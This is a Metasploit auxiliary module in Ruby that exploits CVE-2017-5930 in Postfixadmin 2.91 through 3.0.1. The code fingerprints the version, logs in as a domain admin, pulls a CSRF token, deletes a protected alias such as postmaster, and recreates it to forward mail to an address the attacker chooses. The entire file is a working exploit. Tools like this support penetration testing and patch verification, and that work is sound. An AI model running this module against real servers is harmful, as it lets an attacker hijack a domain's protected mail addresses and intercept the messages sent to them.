##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Postfixadmin Protected Alias Deletion Vulnerability',
        'Description' => %q{
          Postfixadmin installations between 2.91 and 3.0.1 do not check if an
          admin is allowed to delete protected aliases. This vulnerability can be
          used to redirect protected aliases to an other mail address. Eg. rewrite
          the postmaster@domain alias.
        },
        'Author' => [ 'Jan-Frederik Rieckers' ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2017-5930'],
          ['URL', 'https://github.com/postfixadmin/postfixadmin/pull/23'],
          ['BID', '96142'],
        ],
        'Privileged' => true,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'DisclosureDate' => '2017-02-03',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the postfixadmin installation', '/']),
        OptString.new('USERNAME', [true, 'The Postfixadmin username to authenticate with']),
        OptString.new('PASSWORD', [true, 'The Postfixadmin password to authenticate with']),
        OptString.new('TARGET_ALIAS', [true, 'The alias which should be rewritten']),
        OptString.new('NEW_GOTO', [true, 'The new redirection target of the alias'])
      ]
    )
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def target_alias
    datastore['TARGET_ALIAS']
  end

  def new_goto
    datastore['NEW_GOTO']
  end

  def check
    res = send_request_cgi({ 'uri' => postfixadmin_url_login, 'method' => 'GET' })

    return Exploit::CheckCode::Unknown('No response received from the target') unless res

    return Exploit::CheckCode::Safe('Target did not return a 200 response') if res.code != 200

    if res.body =~ /<div id="footer".*Postfix Admin/m
      version = res.body.match(%r{<div id="footer"[^<]*<a[^<]*Postfix\s*Admin\s*([^<]*)</}mi)
      return Exploit::CheckCode::Detected('Postfix Admin detected but version could not be determined') unless version
      if Rex::Version.new('2.91') > Rex::Version.new(version[1])
        return Exploit::CheckCode::Detected("Postfix Admin #{version[1]} is older than the vulnerable range")
      elsif Rex::Version.new('3.0.1') < Rex::Version.new(version[1])
        return Exploit::CheckCode::Detected("Postfix Admin #{version[1]} is newer than the vulnerable range")
      end

      return Exploit::CheckCode::Appears("Postfix Admin #{version[1]} is in the vulnerable range 2.91-3.0.1")
    end

    return Exploit::CheckCode::Unknown('Could not identify Postfix Admin on the target')
  end

  def run
    print_status("Authenticating with Postfixadmin using #{username}:#{password} ...")
    cookie = postfixadmin_login(username, password)
    fail_with(Failure::NoAccess, 'Failed to authenticate with PostfixAdmin') if cookie.nil?
    print_good('Authenticated with Postfixadmin')

    vprint_status('Requesting virtual_list')
    res = send_request_cgi({ 'uri' => postfixadmin_url_list(target_alias.split('@')[-1]), 'method' => 'GET', 'cookie' => cookie }, 10)
    fail_with(Failure::UnexpectedReply, 'The request for the domain list failed') if res.nil?
    fail_with(Failure::NoAccess, 'Doesn\'t seem to be admin for the domain the target alias is in') if res.redirect?
    body = res.body
    vprint_status('Get token')
    token = body.match(/token=([0-9a-f]{32})/)
    fail_with(Failure::UnexpectedReply, 'Could not get any CSRF-token. You should have at least one other alias or mailbox to get a token') unless token

    t = token[1]

    print_status('Delete the old alias')
    res = send_request_cgi({ 'uri' => postfixadmin_url_alias_delete(target_alias, t), 'method' => 'GET', 'cookie' => cookie }, 10)

    fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?

    res = send_request_cgi({ 'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)

    if res.nil? || res.body.nil? || res.body !~ %r{<ul class="flash-info">.*<li.*#{target_alias}.*</li>.*</ul>}mi
      if res.nil? || res.body.nil?
        fail_with(Failure::UnexpectedReply, 'Unexpected reply while deleting the alias')
      elsif res.body =~ %r{<ul class="flash-error">.*<li.*#{target_alias}.*</li>.*</ul>}mi
        fail_with(Failure::NotVulnerable, 'It seems the target is not vulnerable, the deletion of the target alias failed.')
      else
        fail_with(Failure::Unknown, 'An unexpected failure occurred.')
      end
    end
    print_good('Deleted the old alias')

    vprint_status('Will create the new alias')
    post_vars = { 'submit' => 'Add alias', 'table' => 'alias', 'value[active]' => 1, 'value[domain]' => target_alias.split('@')[-1], 'value[localpart]' => target_alias.split('@')[0..-2].join('@'), 'value[goto]' => new_goto }

    res = send_request_cgi({ 'uri' => postfixadmin_url_edit, 'method' => 'POST', 'cookie' => cookie, 'vars_post' => post_vars }, 10)

    fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?

    res = send_request_cgi({ 'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)

    if res.nil? || res.body.nil? || res.body !~ %r{<ul class="flash-info">.*<li.*#{target_alias}.*</li>.*</ul>}mi
      if res.nil? || res.body.nil?
        fail_with(Failure::UnexpectedReply, 'Unexpected reply while adding new alias')
      elsif res.body =~ /<ul class="flash-error">/mi
        fail_with(Failure::UnexpectedReply, 'It seems the new alias couldn\'t be added.')
      else
        fail_with(Failure::Unknown, 'An unexpected failure occurred.')
      end
    end
    print_good('New alias created')
  end

  # Performs a Postfixadmin login
  #
  # @param user [String] Username
  # @param pass [String] Password
  # @param timeout [Integer] Max seconds to wait before timeout, defaults to 20
  #
  # @return [String, nil] The session cookie as single string if login was successful, nil otherwise
  def postfixadmin_login(user, pass, timeout = 20)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => postfixadmin_url_login,
      'vars_post' => { 'fUsername' => user.to_s, 'fPassword' => pass.to_s, 'lang' => 'en', 'Submit' => 'Login' }
    }, timeout)
    if res && res.redirect?
      cookies = res.get_cookies
      return cookies if
        cookies =~ /PHPSESSID=/
    end

    nil
  end

  def postfixadmin_url_login
    normalize_uri(target_uri.path, 'login.php')
  end

  def postfixadmin_url_list(domain = nil)
    modifier = domain.nil? ? '' : "?domain=#{domain}"
    normalize_uri(target_uri.path, 'list-virtual.php' + modifier)
  end

  def postfixadmin_url_alias_delete(target, token)
    normalize_uri(target_uri.path, 'delete.php' + "?table=alias&delete=#{CGI.escape(target)}&token=#{token}")
  end

  def postfixadmin_url_edit
    normalize_uri(target_uri.path, 'edit.php')
  end
end
